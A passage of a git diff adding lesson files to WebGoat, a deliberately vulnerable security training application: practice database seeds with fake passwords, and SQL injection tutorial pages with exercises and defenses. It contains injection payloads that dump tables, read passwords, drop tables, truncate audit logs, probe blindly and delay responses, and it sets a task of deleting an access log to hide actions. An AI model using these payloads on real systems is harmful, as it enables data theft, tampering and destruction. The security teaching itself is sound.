newline at end of file diff --git a/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_5__challenge_assignment.sql b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_5__challenge_assignment.sql new file mode 100644 index 000000000..46a5c5357 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_5__challenge_assignment.sql @@ -0,0 +1,10 @@ +CREATE TABLE sql_challenge_users( + userid varchar(250), + email varchar(30), + password varchar(30) +); + +INSERT INTO sql_challenge_users VALUES ('larry', 'larry@webgoat.org', 'larryknows'); +INSERT INTO sql_challenge_users VALUES ('tom', 'tom@webgoat.org', 'thisisasecretfortomonly'); +INSERT INTO sql_challenge_users VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**'); +INSERT INTO sql_challenge_users VALUES ('eve', 'eve@webgoat.org', '**********'); diff --git a/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_6__user_system_data.sql b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_6__user_system_data.sql new file mode 100644 index 000000000..cce0eed62 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_6__user_system_data.sql @@ -0,0 +1,12 @@ +CREATE TABLE user_system_data( + userid int not null primary key, + user_name varchar(12), + password varchar(10), + cookie varchar(30) +); + +INSERT INTO user_system_data VALUES (101,'jsnow','passwd1', ''); +INSERT INTO user_system_data VALUES (102,'jdoe','passwd2', ''); +INSERT INTO user_system_data VALUES (103,'jplane','passwd3', ''); +INSERT INTO user_system_data VALUES (104,'jeff','jeff', ''); +INSERT INTO user_system_data VALUES (105,'dave','passW0rD', ''); \ No newline at end of file diff --git a/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_7__employees.sql b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_7__employees.sql new file mode 100644 index 000000000..83337029a --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/db/migration/V2019_09_26_7__employees.sql @@ -0,0 +1,20 @@ +CREATE TABLE employees( + userid varchar(6) not null primary key, + first_name varchar(20), + last_name varchar(20), + department varchar(20), + salary int, + auth_tan varchar(6) +); + +INSERT INTO employees VALUES ('32147','Paulina', 'Travers', 'Accounting', 46000, 'P45JSI'); +INSERT INTO employees VALUES ('89762','Tobi', 'Barnett', 'Development', 77000, 'TA9LL1'); +INSERT INTO employees VALUES ('96134','Bob', 'Franco', 'Marketing', 83700, 'LO9S2V'); +INSERT INTO employees VALUES ('34477','Abraham ', 'Holman', 'Development', 50000, 'UU2ALK'); +INSERT INTO employees VALUES ('37648','John', 'Smith', 'Marketing', 64350, '3SL99A'); + +CREATE TABLE access_log ( + id int generated always as identity not null primary key, + time varchar(50), + action varchar(200) +); diff --git a/src/main/resources/lessons/sqlinjection/db/migration/V2021_03_13_8__grant.sql b/src/main/resources/lessons/sqlinjection/db/migration/V2021_03_13_8__grant.sql new file mode 100644 index 000000000..b4577e4d1 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/db/migration/V2021_03_13_8__grant.sql @@ -0,0 +1,14 @@ +CREATE TABLE grant_rights( + userid varchar(6) not null primary key, + first_name varchar(20), + last_name varchar(20), + department varchar(20), + salary int +); + +INSERT INTO grant_rights VALUES ('32147','Paulina', 'Travers', 'Accounting', 46000); +INSERT INTO grant_rights VALUES ('89762','Tobi', 'Barnett', 'Development', 77000); +INSERT INTO grant_rights VALUES ('96134','Bob', 'Franco', 'Marketing', 83700); +INSERT INTO grant_rights VALUES ('34477','Abraham ', 'Holman', 'Development', 50000); +INSERT INTO grant_rights VALUES ('37648','John', 'Smith', 'Marketing', 64350); + diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjectionAdvanced_plan.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjectionAdvanced_plan.adoc new file mode 100644 index 000000000..a676a00ce --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjectionAdvanced_plan.adoc @@ -0,0 +1,8 @@ +== Concept + +This lesson describes the more advanced topics for an SQL injection. + +== Goals + +** Combining SQL injection Techniques +** Blind SQL injection diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_challenge.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_challenge.adoc new file mode 100644 index 000000000..2e7d5562c --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_challenge.adoc @@ -0,0 +1,6 @@ +We now explained the basic steps involved in an SQL injection. In this assignment you will need to combine all +the things we explained in the SQL lessons. + +Goal: Can you log in as Tom? + +Have fun! diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content10.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content10.adoc new file mode 100644 index 000000000..36edbdb3a --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content10.adoc @@ -0,0 +1,28 @@ +== Parameterized Queries - Java Example +[source,java] +------------------------------------------------------- +public static String loadAccount() { + // Parser returns only valid string data + String accountID = getParser().getStringParameter(ACCT_ID, ""); + String data = null; + String query = "SELECT first_name, last_name, acct_id, balance FROM user_data WHERE acct_id = ?"; + try (Connection connection = dataSource.getConnection()) { + PreparedStatement statement = connection.prepareStatement(query)) { + statement.setString(1, accountID); + ResultSet results = statement.executeQuery(); + if (results != null && results.first()) { + results.last(); // Only one record should be returned for this query + if (results.getRow() <= 2) { + data = processAccount(results); + } else { + // Handle the error - Database integrity issue + } + } else { + // Handle the error - no records found } + } + } catch (SQLException sqle) { + // Log and handle the SQL Exception } + } + return data; +} +------------------------------------------------------- diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content11.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content11.adoc new file mode 100644 index 000000000..e7d7febb4 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content11.adoc @@ -0,0 +1,22 @@ +== Parameterized Queries - .NET +------------------------------------------------------- +public static bool isUsernameValid(string username) { + RegEx r = new Regex("^[A-Za-z0-9]{16}$"); + Return r.isMatch(username); +} + +// SqlConnection conn is set and opened elsewhere for brevity. +try { + string selectString = "SELECT * FROM user_table WHERE username = @userID"; + SqlCommand cmd = new SqlCommand( selectString, conn ); + if ( isUsernameValid( uid ) ) { + cmd.Parameters.Add( "@userID", SqlDbType.VarChar, 16 ).Value = uid; + SqlDataReader myReader = cmd.ExecuteReader(); + if ( myReader ) { + // make the user record active in some way. + myReader.Close(); + } + } else { // handle invalid input } +} +catch (Exception e) { // Handle all exceptions... } +------------------------------------------------------- diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content12.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content12.adoc new file mode 100644 index 000000000..198a98907 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content12.adoc @@ -0,0 +1,13 @@ +== Input Validation Required? + +=== Since my queries are no longer injectable do I still need to validate my input? +* *YES!* + +=== Prevents other types of attacks from being stored in the database +* Stored XSS +* Information leakage +* Logic errors - business rule validation +* SQL injection + +=== Often the database is considered trusted + diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content12a.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content12a.adoc new file mode 100644 index 000000000..e7fb9721b --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content12a.adoc @@ -0,0 +1,13 @@ +== Input validation alone is not enough!! + +You need to do both, use parametrized queries and validate the input received from the user. On StackOverflow you will +see a lot of answers stating that input validation is enough. *However* it only takes you so far before you know +the validation is broken, and you have an SQL injection in your application. + +A nice read why it is not enough can be found https://twitter.com/marcan42/status/1238004834806067200?s=21 + +Let's repeat one of the previous assignments, the developer fixed the possible SQL injection with filtering, can you +spot the weakness in this approach? + +Read about the lesson goal link:start.mvc#lesson/SqlInjectionAdvanced.lesson/2[here]. + diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content12b.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content12b.adoc new file mode 100644 index 000000000..f0c1dd0ca --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content12b.adoc @@ -0,0 +1,8 @@ +== Input validation alone is not enough!! + +So the last attempt to validate if the query did not contain any spaces failed, the development team went further +into the direction of only performing input validation, can you find out where it went wrong this time? + +Read about the lesson goal link:start.mvc#lesson/SqlInjectionAdvanced.lesson/2[here]. + + diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content13.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content13.adoc new file mode 100644 index 000000000..749459d10 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content13.adoc @@ -0,0 +1,47 @@ +== Order by clause + +Question: Does a prepared statement always prevent against an SQL injection? +Answer: No it does not + +Let us take a look at the following statement: + +---- +"SELECT * FROM users ORDER BY " + sortColumName + ";" +---- + +If we look at the specification of the SQL grammar the definition is as follows: + +---- +SELECT ... +FROM tableList +[WHERE Expression] +[ORDER BY orderExpression [, ...]] + +orderExpression: +{ columnNr | columnAlias | selectExpression } + [ASC | DESC] + +selectExpression: +{ Expression | COUNT(*) | { + COUNT | MIN | MAX | SUM | AVG | SOME | EVERY | + VAR_POP | VAR_SAMP | STDDEV_POP | STDDEV_SAMP +} ([ALL | DISTINCT][2]] Expression) } [[AS] label] + +Based on HSQLDB +---- + +This means an `orderExpression` can be a `selectExpression` which can be a function as well, so for example with +a `case` statement we might be able to ask the database some questions, like: + +---- +SELECT * FROM users ORDER BY (CASE WHEN (TRUE) THEN lastname ELSE firstname) +---- + +So we can substitute any kind of boolean operation in the `when(....)` part. The statement will just work because +it is a valid query whether you use a prepared statement or not. An order by clause can by definition contain an +expression. + +=== Mitigation + +If you need to provide a sorting column in your web application you should implement a whitelist to validate the value +of the `order by` statement. It should always be limited to something like 'first name' or 'last name'. diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content14.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content14.adoc new file mode 100644 index 000000000..1e6d01c79 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content14.adoc @@ -0,0 +1,14 @@ +== Least Privilege + +=== Connect with a minimum set of privileges +* The application should connect to the database with different credentials for every trust distinction +* Applications rarely need delete rights to a table or database + +=== Database accounts should limit schema access + +=== Define database accounts for read and read/write access + +=== Multiple connection pools based on access +* Use read only access for the authentication query +* Use read/write access for the data modification queries +* Use execute for access to stored procedure calls diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content6.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content6.adoc new file mode 100644 index 000000000..63ea9e834 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content6.adoc @@ -0,0 +1,56 @@ +== Special Characters + +[source] +---- +/* */ are inline comments +-- , # are line comments + +Example: SELECT * FROM users WHERE name = 'admin' -- AND pass = 'pass' +---- + + +[source] +---- +; allows query chaining + +Example: SELECT * FROM users; DROP TABLE users; +---- + +[source] +---- +',+,|| allows string concatenation +Char() strings without quotes + +Example: SELECT * FROM users WHERE name = '+char(27) OR 1=1 +---- + + +== Special Statements + +=== Union + +The Union operator is used, to combine the results of two or more SELECT Statements. + +Rules to keep in mind, when working with a UNION: + +- The number of columns selected in each statement must be the same. +- The datatype of the first column in the first SELECT statement, must match the datatype +of the first column in the second (third, fourth, ...) SELECT Statement. The Same applies to all other columns. + +[source] +------ +SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data; +------ + +The UNION ALL Syntax also allows duplicate Values. + +=== Joins + +The Join operator is used to combine rows from two or more tables, based on a related column + +[source] +----- +SELECT * FROM user_data INNER JOIN user_data_tan ON user_data.userid=user_data_tan.userid; +----- + +For more detailed information about JOINS visit: https://www.w3schools.com/sql/sql_join.asp \ No newline at end of file diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content6a.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content6a.adoc new file mode 100644 index 000000000..8bd6d543e --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content6a.adoc @@ -0,0 +1,31 @@ +== Try It! Pulling data from other tables + +The input field below is used to get data from a user by their last name. + +The table is called 'user_data': + +------------------------------------------------------- +CREATE TABLE user_data (userid int not null, + first_name varchar(20), + last_name varchar(20), + cc_number varchar(30), + cc_type varchar(10), + cookie varchar(20), + login_count int); +------------------------------------------------------- + +Through experimentation you found that this field is susceptible to SQL injection. +Now you want to use that knowledge to get the contents of another table. + +The table you want to pull data from is: + +------------------------------------------------------- +CREATE TABLE user_system_data (userid int not null primary key, + user_name varchar(12), + password varchar(10), + cookie varchar(30)); +------------------------------------------------------- + +*6.a)* Retrieve all data from the table + +*6.b)* When you have figured it out.... What is Dave's password? + +Note: There are multiple ways to solve this Assignment. One is by using a UNION, the other by appending +a new SQL statement. Maybe you can find both of them. diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content6c.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content6c.adoc new file mode 100644 index 000000000..1ed75d232 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content6c.adoc @@ -0,0 +1,59 @@ +== Blind SQL injection + +Blind SQL injection is a type of SQL injection attack that asks the database true or false +questions and determines the answer based on the application's response. This attack is often used when the web +application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL +injection. + +=== Difference + +Let us first start with the difference between a normal SQL injection and a blind SQL injection. In a normal +SQL injection the error messages from the database are displayed and gives enough information to find out how +the query is working. Or in the case of a UNION based SQL injection the application does not reflect the information +directly on the web page. So in the case where nothing is displayed you will need to start asking the database questions +based on a true or false statement. That is why a blind SQL injection is much more difficult to exploit. + +There are several different types of blind SQL injections: content-based and time-based SQL injections. + + +=== Example + +In this case we are trying to ask the database a boolean question based on a unique id, for example +suppose we have the following url: `https://my-shop.com?article=4` +On the server side this query will be translated as follows: + +---- +SELECT * FROM articles WHERE article_id = 4 +---- + +When we want to exploit this we change the url into: `https://shop.example.com?article=4 AND 1=1` +This will be translated to: + +---- +SELECT * FROM articles WHERE article_id = 4 and 1 = 1 +---- + +If the browser will return the same page as it used to when using `https://shop.example.com?article=4` you know the +website is vulnerable for a blind SQL injection. +If the browser responds with a page not found or something else you know a blind SQL injection might not work. +You can now change the SQL query and test for example: `https://shop.example.com?article=4 AND 1=2` which will not return +anything because the query returns false. + +How do we actually take advantage of this? Above we only asked the database a trivial question but you can +for example also use the following url: `https://shop.example.com?article=4 AND substring(database_version(),1,1) = 2` + +Most of the time you start by finding which type of database is used, based on the type of database you can find +the system tables of the database you can enumerate all the tables present in the database. With this information +you can start getting information from all the tables and you are able to dump the database. +Be aware that this approach might not work if the privileges of the database are setup correctly (meaning the +system tables cannot be queried with the user used to connect from the web application to the database). + + +Another way is called a time-based SQL injection, in this case you will ask the database to wait before returning +the result. You might need to use this if you are totally blind. This means there is no difference between the response data. +To achieve this kind of SQL injection you could use: + +---- +article = 4; sleep(10) -- +---- + diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content7.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content7.adoc new file mode 100644 index 000000000..371fcf0dc --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content7.adoc @@ -0,0 +1,26 @@ +== Immutable Queries + +These are the best defense against SQL injection. They either do not have data that could get interpreted, or they treat the data as a single entity that is bound to a column without interpretation. + +=== Static Queries + +---- +String query = "SELECT * FROM products"; +---- + +---- +String query = "SELECT * FROM users WHERE user = '" + session.getAttribute("UserID") + "'"; +---- + +=== Parameterized Queries + +---- +String query = "SELECT * FROM users WHERE last_name = ?"; +PreparedStatement statement = connection.prepareStatement(query); +statement.setString(1, accountName); +ResultSet results = statement.executeQuery(); +---- + +=== Stored Procedures + +Only if stored procedure does not generate dynamic SQL diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content8.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content8.adoc new file mode 100644 index 000000000..dbe6538e6 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content8.adoc @@ -0,0 +1,23 @@ +== Stored Procedures + +=== Safe Stored Procedure (Microsoft SQL Server) +------------------------------------------------------- +CREATE PROCEDURE ListCustomers(@Country nvarchar(30)) +AS +SELECT city, COUNT(*) +FROM customers +WHERE country LIKE @Country GROUP BY city + + +EXEC ListCustomers ‘USA’ +------------------------------------------------------- + +=== Injectable Stored Procedure (Microsoft SQL Server) +------------------------------------------------------- +CREATE PROCEDURE getUser(@lastName nvarchar(25)) +AS +declare @sql nvarchar(255) +set @sql = 'SELECT * FROM users WHERE + lastname = + @LastName + ' +exec sp_executesql @sql +------------------------------------------------------- diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content9.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content9.adoc new file mode 100644 index 000000000..2e2fc9a45 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_content9.adoc @@ -0,0 +1,51 @@ +== Parameterized Queries - Java Snippet + +[source,java] +---- +public static bool isUsernameValid(string username) { + RegEx r = new Regex("^[A-Za-z0-9]{16}$"); + return r.isMatch(username); +} + +// java.sql.Connection conn is set elsewhere for brevity. +PreparedStatement ps = null; +RecordSet rs = null; +try { + pUserName = request.getParameter("UserName"); + if ( isUsernameValid (pUsername) ) { + ps = conn.prepareStatement("SELECT * FROM user_table WHERE username = ? "); + ps.setString(1, pUsername); + rs = ps.execute(); + if ( rs.next() ) { + // do the work of making the user record active in some way + } + } else { + // handle invalid input + } +} +catch (...) { // handle all exceptions ... } +---- + +== Important + +Use the prepared statement correctly; parameters should be set with `ps.set..()` and DO NOT use the following statement: + +[source,java] +---- +String insertStatement = "INSERT INTO USERS (id, name, email) VALUES (%s, %s, %s)".format("1", "webgoat", "webgoat@owasp.org"); +PreparedStatement statement = conn.prepareStatement(insertStatement); +statement.executeUpdate(); +---- + +(For the sake of the example, we assume that the passed values are based on user input). +The example above is not the correct way to use a prepared statement, use: + +[source,java] +---- +PreparedStatement statement = conn.prepareStatement("INSERT INTO USERS (id, name, email) VALUES (?, ?, ?)"); +statement.setString(1, "1"); +statement.setString(2, "webgoat"); +statement.setString(3, "webgoat@owasp.org"); +statement.executeUpdate(); +---- + diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content1.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content1.adoc new file mode 100644 index 000000000..c7e11f716 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content1.adoc @@ -0,0 +1,39 @@ +== What is SQL? + +SQL is a standardized (ANSI in 1986, ISO in 1987) programming language which is used for managing relational databases and performing various operations on the data in them. + +A database is a collection of data. The data is organized into rows, columns and tables, and indexed to make finding relevant information more efficient. + +Example SQL table containing employee data; the name of the table is 'employees': + +Employees Table +|=== +|userid |first_name |last_name |department |salary |auth_tan | + +|32147|Paulina|Travers|Accounting|$46.000|P45JSI| +|89762|Tobi|Barnett|Development|$77.000|TA9LL1| +|96134|Bob|Franco|Marketing|$83.700|LO9S2V| +|34477|Abraham|Holman|Development|$50.000|UU2ALK| +|37648|John|Smith|Marketing|$64.350|3SL99A| + +|=== + +A company saves the following employee information in their databases: +a unique employee number ('userid'), last name, first name, department, salary and a transaction authentication number ('auth_tan'). Each of these pieces of information is stored in a separate column and each row represents one employee of the company. + +SQL queries can be used to modify a database table and its index structures and add, update and delete rows of data. + +There are three main categories of SQL commands: + +* Data Manipulation Language (DML) +* Data Definition Language (DDL) +* Data Control Language (DCL) + +Each of these command types can be used by attackers to compromise the confidentiality, integrity, and/or availability of a system. Proceed with the lesson to learn more about the SQL command types and how they relate to protections goals. + +If you are still struggling with SQL and need more information or practice, you can visit http://www.sqlcourse.com/ for free and interactive online training. + +=== It is your turn! +Look at the example table. +Try to retrieve the department of the employee Bob Franco. +Note that you have been granted full administrator privileges in this assignment and can access all data without authentication. \ No newline at end of file diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content10.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content10.adoc new file mode 100644 index 000000000..7f16d952d --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content10.adoc @@ -0,0 +1,13 @@ +== Compromising Availability +After successfully compromising confidentiality and integrity in the previous lessons, we are now going to compromise the third element of the CIA triad: *availability*. + +There are many different ways to violate availability. +If an account is deleted or its password gets changed, the actual owner cannot access this account anymore. +Attackers could also try to delete parts of the database, or even drop the whole database, in order to make the data inaccessible. +Revoking the access rights of admins or other users is yet another way to compromise availability; this would prevent these users from accessing either specific parts of the database or even the entire database as a whole. + +=== It is your turn! +Now you are the top earner in your company. +But do you see that? +There seems to be a *access_log* table, where all your actions have been logged to! + +Better go and _delete it_ completely before anyone notices. diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content11.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content11.adoc new file mode 100644 index 000000000..1256d7e54 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content11.adoc @@ -0,0 +1,9 @@ +== Try It! String SQL injection + +The query in the code builds a dynamic query as seen in the previous example. The query is built by concatenating strings making it susceptible to String SQL injection: + +------------------------------------------------------------ +"SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'"; +------------------------------------------------------------ + +Try using the form below to retrieve all the users from the users table. You should not need to know any specific user name to get the complete list. diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content12.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content12.adoc new file mode 100644 index 000000000..05cc2ca41 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content12.adoc @@ -0,0 +1,11 @@ +== Try It! Numeric SQL injection + +The query in the code builds a dynamic query as seen in the previous example. The query in the code builds a dynamic query by concatenating a number making it susceptible to Numeric SQL injection: + +-------------------------------------------------- +"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID; +-------------------------------------------------- + +Using the two Input Fields below, try to retrieve all the data from the users table. + +Warning: Only one of these fields is susceptible to SQL Injection. You need to find out which, to successfully retrieve all the data. diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content2.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content2.adoc new file mode 100644 index 000000000..4c6197db6 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content2.adoc @@ -0,0 +1,25 @@ +=== Data Manipulation Language (DML) + +As implied by the name, data manipulation language deals with the manipulation of data. Many of the most common SQL statements, including SELECT, INSERT, UPDATE, and DELETE, may be categorized as DML statements. DML statements may be used for requesting records (SELECT), adding records (INSERT), deleting records (DELETE), and modifying existing records (UPDATE). + +If an attacker succeeds in "injecting" DML statements into a SQL database, he can violate the confidentiality (using SELECT statements), integrity (using UPDATE statements), and availability (using DELETE or UPDATE statements) of a system. + + +* DML commands are used for storing, retrieving, modifying, and deleting data. +* SELECT - retrieve data from a database +* INSERT - insert data into a database +* UPDATE - updates existing data within a database +* DELETE - delete records from a database +* Example: +** Retrieve data: +** SELECT phone + + FROM employees + + WHERE userid = 96134; +** This statement retrieves the phone number of the employee who has the userid 96134. + +=== It is your turn! +Try to change the department of Tobi Barnett to 'Sales'. +Note that you have been granted full administrator privileges in this assignment and can access all data without authentication. + + + diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content3.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content3.adoc new file mode 100644 index 000000000..939ff4b09 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content3.adoc @@ -0,0 +1,24 @@ +=== Data Definition Language (DDL) + +Data definition language includes commands for defining data structures. DDL commands are commonly used to define a database's schema. The schema refers to the overall structure or organization of the database and. in SQL databases, includes objects such as tables, indexes, views, relationships, triggers, and more. + +If an attacker successfully "injects" DDL type SQL commands into a database, he can violate the integrity (using ALTER and DROP statements) and availability (using DROP statements) of a system. + + +* DDL commands are used for creating, modifying, and dropping the structure of database objects. +* CREATE - create database objects such as tables and views +* ALTER - alters the structure of the existing database +* DROP - delete objects from the database +* Example: +** CREATE TABLE employees( + +     userid varchar(6) not null primary key, + +     first_name varchar(20), + +     last_name varchar(20), + +     department varchar(20), + +     salary varchar(10), + +     auth_tan varchar(6) + +); +** This statement creates the employees example table given on page 2. + +Now try to modify the schema by adding the column "phone" (varchar(20)) to the table "employees". : + diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content4.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content4.adoc new file mode 100644 index 000000000..eb529ef28 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content4.adoc @@ -0,0 +1,14 @@ +=== Data Control Language (DCL) + +Data control language is used to implement access control logic in a database. DCL can be used to revoke and grant user privileges on database objects such as tables, views, and functions. + +If an attacker successfully "injects" DCL type SQL commands into a database, he can violate the confidentiality (using GRANT commands) and availability (using REVOKE commands) of a system. For example, the attacker could grant himself admin privileges on the database or revoke the privileges of the true administrator. + + +* DCL commands are used to implement access control on database objects. +* GRANT - give a user access privileges on database objects +* REVOKE - withdraw user privileges that were previously given using GRANT + + +Try to grant rights to the table `grant_rights` to user `unauthorized_user`: + diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content5_after.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content5_after.adoc new file mode 100644 index 000000000..d8aaf5ad3 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content5_after.adoc @@ -0,0 +1,10 @@ +== Examples + +SQL injection can be used for far more than reading the data of a single of user. The following are just a few examples of data a hacker could input to a form field (or anywhere user input is accepted) in an attempt to exploit a SQL injection vulnerability: + +* `+Smith' OR '1' = '1+` + +results in `+SELECT * FROM users WHERE name = 'Smith' OR TRUE;+` which will return all entries from the users table +* `+Smith' OR 1 = 1; --+` + +results in `+SELECT * FROM users WHERE name = 'Smith' OR TRUE;--';+` which, like the first example, will also return all entries from the users table +* `+Smith'; DROP TABLE users; TRUNCATE audit_log; --+` + +chains multiple SQL-Commands in order to both DROP the users table and delete all entries from the audit_log table diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content5_before.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content5_before.adoc new file mode 100644 index 000000000..ea1f765e5 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content5_before.adoc @@ -0,0 +1,29 @@ +== What is SQL injection? + +SQL injection (also called SQLi) is one of the most common web hacking techniques. *A SQL injection attack consists of insertion or "injection" of malicious code via the SQL query input from the client to the application.* If not dealt with correctly, SQL injection can seriously impact data integrity and security. + +SQL injections can occur when unfiltered data from the client, such as input from a search field, gets into the SQL interpreter of the application itself. If an application fails to either correctly sanitize user input (using prepared statements or similar) or filter the input against special characters, hackers can manipulate the underlying SQL statement to their advantage. + +For example, if the input is not filtered for SQL metacharacters like *--* (which comments out the rest of the line) or *;* (which ends a SQL query), SQL injection may result. + +{nbsp} + + +== Example of SQL injection + +For example, consider a web application that allows users to retrieve user information simply by inputting a username into a form field. The input from the user is sent to the server and gets inserted into a SQL query which then is processed by a SQL interpreter. + +The SQL query to retrieve the user information from the database follows: + +------------------------------------------------------- +"SELECT * FROM users WHERE name = '" + userName + "'"; +------------------------------------------------------- + +The variable *userName* holds the input from the client and “injects” it into the query. + +If the input were Smith the query would then become + +------------------------------------------------------- +"SELECT * FROM users WHERE name = 'Smith'"; +------------------------------------------------------- +and would retrieve all data for the user with the name Smith. + +{nbsp} + +If an attacker inputs data containing characters or strings that have a "special" meaning to the SQL interpreter (such as *;*, *--*, or *'*), and the data is not correctly sanitized or validated, the attacker can modify the intended behavior of the SQL query in order to perform other (malicious) actions on the database. + +Here is an input field. Try typing some SQL in here to better understand how the query changes. diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content6.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content6.adoc new file mode 100644 index 000000000..899efd014 --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content6.adoc @@ -0,0 +1,18 @@ +== Consequences of SQL injection + +=== A successful SQL injection exploit can: +* Read and modify sensitive data from the database +* Execute administrative operations on the database +** Shutdown auditing or the DBMS +** Truncate tables and logs +** Add users +* Recover the content of a given file present on the DBMS file system +* Issue commands to the operating system + +=== SQL injection attacks allow attackers to +* Spoof identity +* Tamper with existing data +* Cause repudiation issues such as voiding transactions or changing balances +* Allow the complete disclosure of all data on the system +* Destroy the data or make it otherwise unavailable +* Become administrator of the database server \ No newline at end of file diff --git a/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content7.adoc b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content7.adoc new file mode 100644 index 000000000..c6275765e --- /dev/null +++ b/src/main/resources/lessons/sqlinjection/documentation/SqlInjection_introduction_content7.adoc @@ -0,0 +1,22 @@ +== Severity of SQL injection + +=== The severity of SQL injection attacks is limited by +* Attacker’s skill and imagination +* Defense in depth countermeasures +** Input validation +** 